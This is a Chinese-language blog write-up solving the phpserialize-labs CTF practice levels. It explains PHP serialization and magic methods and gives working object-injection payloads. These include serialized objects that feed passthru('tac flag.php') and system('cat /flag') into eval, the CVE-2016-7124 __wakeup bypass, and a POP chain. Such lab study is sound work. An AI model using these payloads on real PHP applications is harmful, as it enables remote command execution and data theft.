phpserialize-labs靶场

  1. image.png

直接post code=new flag();即可,大小写或者混用都可以

2

image.png

定义了类FLAG,还有一个全局变量flagstring,

?是占位符,不是赋值

target实例化对象,要调用freeflag得 $target->free_flag;

法一:code=code=echo $flag_string;//cat不是php的语法

因为是全局变量使用可以直接调用

法二:code=echo $target->free_flag=$flag_string;//赋值

这是局部变量所以需要用->

法三:code=var_dump(get_defined_vars());//暴力输出所有变量

get_defined_vars()

将所有变量设置成数组

这个是一个php的内置函数,他会返回一个包含当前作用域内所有已定义变量的关联数组。数组的键是变量名,值是变量的内容。

 

var_dump()

输出这个数组

用于输出变量的详细信息,包括类型和值。对数组会递归输出每个元素。

 


 3.

image.png

如果code=echo $sub_target->private_flag;会报错,

protected 属性只允许在以下范围访问:

类自身内部(定义它的 FLAG 类)

子类内部(SubFLAG 继承后可以在内部访问)

父类内部

 不允许在类外部直接访问(包括全局作用域、eval() 执行的代码)

当你在 eval() 里写 $target->protected_flag 时,相当于在全局作用域访问,PHP 会报错:

Fatal error: Cannot access protected property FLAG::$protected_flag

public:

公共成员可以在任何地方被访问。

没有访问限制。

protected:

受保护成员只能在类本身和其子类中被访问。

不能在类外部直接访问,但可以在继承该类的子类中访问。

private:

私有成员只能在定义它们的类内部被访问。

不能在类的外部或子类中访问。

 


法一:调用函数,而不是直接输出变量

code=echo $target->get_private_flag();注意private的,连子类都不能调用,只允许自己

还可以一起输出:

image.png

法二:暴力输出所有函数code=var_dump(get_defined_vars());

 4.

 

image.png

直接进行序列化,输出,就可以知道里面的值了

code=echo serialize($flag_is_here);

image.png

为什么有时候有i有时候没i的?

i 是 PHP 序列化中的"类型身份证",表示 Integer(整数)。

你看到的"有时候有,有时候没有",其实是因为不同的数据类型用不同的字母标识:

类型标识符对照

i整数i:2整数 2

s字符串s:8:"ser4l1ze"长度为 8 的字符串

a数组a:2:{...}包含 2 个元素的数组

O对象O:4:"FLAG"FLAG 类的对象

b布尔b:1true(1)或 false(0)

具体对比

看你的序列化字符串:

s:18:"FLAGflag2_number";i:2;

s:18:"..." → 这是属性名(字符串类型),所以用 s

i:2 → 这是属性值(整数类型),所以用 i

不是"有没有 i"的问题,而是"是什么类型就用什么字母"。

数组中的 i

看这段:

a:2:{i:0;s:3:"se3";i:1;s:2:"me";}

这里有两个 i:

i:0 和 i:1:表示数组的键(key)是整数 0 和 1

s:3:"se3":表示数组的值(value)是字符串

如果是关联数组(字符串键名),就会看到 s 而不是 i:

a:2:{s:4:"name";s:3:"Tom";s:3:"age";i:20;}

键 s:4:"name"(字符串 "name")→ 值 s:3:"Tom"(字符串)

键 s:3:"age"(字符串 "age")→ 值 i:20(整数 20)

总结

i = 整数(Integer)

s = 字符串(String)

每个数据都必须带类型字母,没有"有时候没有"的情况,只是你看到的是不同的类型标识符而已

5.

image.png

post传参,多个传参时要用&连接并且是一行

<?php

 

class a_class{

public $a_value = "HelloCTF";

}

 

$your_object = new a_class();

$your_boolean = true;

$your_NULL = null;

$your_string = "IWANT";

$your_number = 1;

$your_object->a_value = "FLAG";

$your_array = array('a'=>"Plz",'b'=>"Give_M3");

 

$exp = "o=".serialize($your_object)."&s=".serialize($your_string)."&a=".serialize($your_array)."&i=".serialize($your_number)."&b=".serialize($your_boolean)."&n=".serialize($your_NULL);

 

echo $exp;

protected_key=O:12:"protectedKEY":1:{s:16:"*protected_key";s:13:"protected_key";}&private_key=O:10:"privateKEY":1:{s:10:"private_key";s:11:"private_key";}

 

 

 

image.png

6.

 这还是挺简单的,有前面的基础

<?php

class protectedKEY{

protected $protected_key="protected_key";

 

function get_key(){

return $this->protected_key;

}

}

 

class privateKEY{

private $private_key="private_key";

 

function get_key(){

return $this->private_key;

}

 

}

echo urlencode(serialize(new protectedKEY()));

echo urlencode(serialize(new privateKEY()));

?>

 

一开始没加urlencode不通过,

实例化后会存在不可见字符,所以我们需要把他进行url的编码

image.png

 7.

image.png

可以看到给了两个方法,一个new一个对象,一个直接序列化

<?php

 

class FLAG{

public $flag_command = "passthru('tac flag.php');";

 

function backdoor(){

eval($this->flag_command);

}

}

echo serialize(new FLAG());

?>

 

注意不要直接tac,因为直接tac是字符串,加了passthru才是函数

/

/ 反序列化后

$this->flag_command = "tac flag.php";

 

// eval 执行时变成:

eval("tac flag.php");

8.

 

image.png

法一,因为已经给权限了eval(),所以可以直接赋值Payload:code=$flag=6; 或 code=global $flag;$flag=6;

法二,code=unserialize(serialize(unserialize(serialize(unserialize(serialize(unserialize(serialize(new RELFLAG()))))))));

 

执行顺序

代码

发生了什么

$flag

1

new RELFLAG()

__construct

:

$flag=0→1

1

2

serialize(对象1)

返回字符串,

对象1引用还在

1

3

unserialize(字符串)

创建

对象2

,返回对象2

1

4

serialize(对象2)

返回字符串,

对象2引用还在

1

5

unserialize(字符串)

创建

对象3

1

6

serialize(对象3)

返回字符串

1

7

unserialize(字符串)

创建

对象4

1

8

serialize(对象4)

返回字符串

1

9

unserialize(字符串)

创建

对象5

1

-

eval()

结束

开始销毁所有临时对象

-

10

对象5销毁

__destruct

:

$flag++

2

11

对象4销毁

__destruct

:

$flag++

3

12

对象3销毁

__destruct

:

$flag++

4

13

对象2销毁

__destruct

:

$flag++

5

14

对象1销毁

__destruct

:

$flag++

6

15

check()

$flag=6 > 5

 

9.跟第七题很像

<?php

 

class FLAG{

public $flag_command = "system('cat /flag');";

 

 

}

echo urlencode(serialize(new FLAG()));

?>

//O%3A4%3A%22FLAG%22%3A1%3A%7Bs%3A12%3A%22flag_command%22%3Bs%3A20%3A%22system%28%27cat+%2Fflag%27%29%3B%22%3B%7D

 

10

wakeup

unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。

 

image.png

 

<?php

 

class FLAG{

function __wakeup() {

include 'flag.php';

echo $flag;

}

}

echo serialize(new FLAG());

?>

//O:4:"FLAG":0:{}

 

直接让序列化让程序调用wakeup就行了

11.

CVE-2016-7124

image.png

 

//外面还有一个$flag,这是真正的flag

class FLAG {

public $flag = "FAKEFLAG";//局部变量flag

 

public function __wakeup(){

global $flag;//引用全局变量flag(真正的flag),这是引用,不是定义

$flag = NULL;//把全局变量flag设为null,以此不输出真正的flag

}

public function __destruct(){

global $flag;//引用全局变量

if ($flag !== NULL) {//判断全局变量

echo $flag;//输出全局变量

}else

{

echo "sorry,flag is gone!";

}

}

}

 


unserialize会自动调用wakeup,然后destruct,所以不应该调用wakeup

不能改掉$flag = NULL;,因为序列化只是序列类里面的属性,也就是类一开始定义的局部变量,但是类里面的方法是动不了的,序列化不会序列类里面的方法,方法是代码,只能绕过

所以我们可以直接把序列化的那个结果个数改错,然后程序就直接进入destruct了

// 正常:__wakeup 执行,flag 被清空

O:4:"FLAG":1:{s:4:"flag";s:8:"FAKEFLAG";}

 

// 绕过:属性个数改大,__wakeup 被 PHP 跳过!

O:4:"FLAG":2:{s:4:"flag";s:8:"FAKEFLAG";}

//         ↑ 改成 2,触发 CVE-2016-7124,方法不执行

 


12.

sleep

serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。该方法必须返回一个数组: return array('属性1', '属性2', '属性3') / return ['属性1', '属性2', '属性3']。数组中的属性名将决定哪些变量将被序列化,当属性被 static 修饰时,无论有无都无法序列化该属性。如果需要返回父类中的私有属性,需要使用序列化中的特殊格式 - %00父类名称%00变量名 (%00 是 ASCII 值为 0 的空字符 null,在代码内我们也可以通过 "\0" - 注意在双引号中,PHP 才会解析转义字符和变量。)。例如,父类 FLAG 的私有属性 private $f; 应该在子类的 __sleep() 方法中以 "\0FLAG\0f" 的格式返回。如果该方法未返回任何内容,序列化会被制空,并产生一个 E_NOTICE 级别的错误。

image.png

class FLAG {

private $f;

private $l;

protected $a;

public $g;

public $x,$y,$z;

 

public function __sleep() {

return ['x','y','z'];//只会序列化属性xyz

}

 

}

class CHALLENGE extends FLAG {

public $h,$e,$l,$I,$o,$c,$t,$f;

 

function chance() {

return $_GET['chance'];//可控

}

public function __sleep() {//重写父类的sleep函数

/* FLAG is $h + $e + $l + $I + $o + $c + $t + $f + $f + $l + $a + $g */

//意思是flag就在这几个属性所代表的值里面,如果能知道这几个属性,就可以知道flag了,然后下面又有可以序列化的地方,所以如果能序列化这几个属性,就可以知道flag了

$array_list = ['h','e','l','I','o','c','t','f','f','l','a','g'];

$_=array_rand($array_list);$__=array_rand($array_list);//随机取上面数组的两个

return array($array_list[$_],$array_list[$__],$this->chance());

}

 

}

$FLAG = new FLAG();

echo serialize($FLAG);

echo serialize(new CHALLENGE());

 

乍一看有点绕,但后面看得懂代码就还行,因为chance可控,所以一一 ?chance= 即可,得到

HelloCTF{Th3__is_called_before_serialization___sleep_function_t0___sleep_function_4nd_select_variab1es}

13.

tostring

image.png

一般情况下echo无法直接输出一个对象,而通过toString()函数则可以实现

当尝试使用echo输出一个对象的时候,其会尝试检查对象是否定义了一个toString(),如果没有定义则直接返回一个错误

方法没有参数,也不传递参数,但该方法必须返回字符串

o=echo $obj;

14

invoke()

当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。例如 $obj=new xxx(), $obj(传参)。

image.png

o=echo $obj(get_flag);/o=echo $obj("get_flag");

 16.

pop链

<?php

class A {

public $a="flag.php";

public function __invoke() {

include $this->a;

return $flag;

}

}

class B {

public $b;

public function __toString() {

$f = $this->b;

return $f();

}

}

class INIT {

public $name;

public function __wakeUp() {

echo $this->name.' is awake!';

}

}

$a=new A();

$b=new B();

$init=new INIT();//unserialize触发wakeup()

$init->name=$b;//把对象当成字符串,触发tostring

$b->b=$a;//把对象当数组触发invoke

echo serialize($init);

?>

//O:4:"INIT":1:{s:4:"name";O:1:"B":1:{s:1:"b";O:1:"A":1:{s:1:"a";s:8:"flag.php";}}}

 


 17.

class A {

 

}

echo "Class A is NULL: '".serialize(new A())."'<br>";

 

class B {

public $a = "Hello";

protected $b = "CTF";

private $c = "FLAG{TEST}";

}

echo "Class B is a class with 3 properties: '".serialize(new B())."'<br>";

 

$serliseString = serialize(new B());

 

$serliseString = str_replace('B', 'A', $serliseString);//把$serliseString里面的所有字符B换成A

 

echo "After replace B with A,we unserialize it and dump :<br>";

var_dump(unserialize($serliseString));//打印函数

 

if(isset($_POST['o'])) {

$a = unserialize($_POST['o']);

if ($a instanceof A && $a->helloctfcmd == "get_flag") {//$a是否是A的实例

include 'flag.php';

echo $flag;

} else {

echo "what's rule?";

}

} else {

highlight_file(__FILE__);

}

 

exp:
class A {

public $helloctfcmd = "get_flag";

}

echo urlencode(serialize(new A()));

 

posted @ 2026-03-09 20:54  fdddddd  阅读(0)  评论(0)    收藏  举报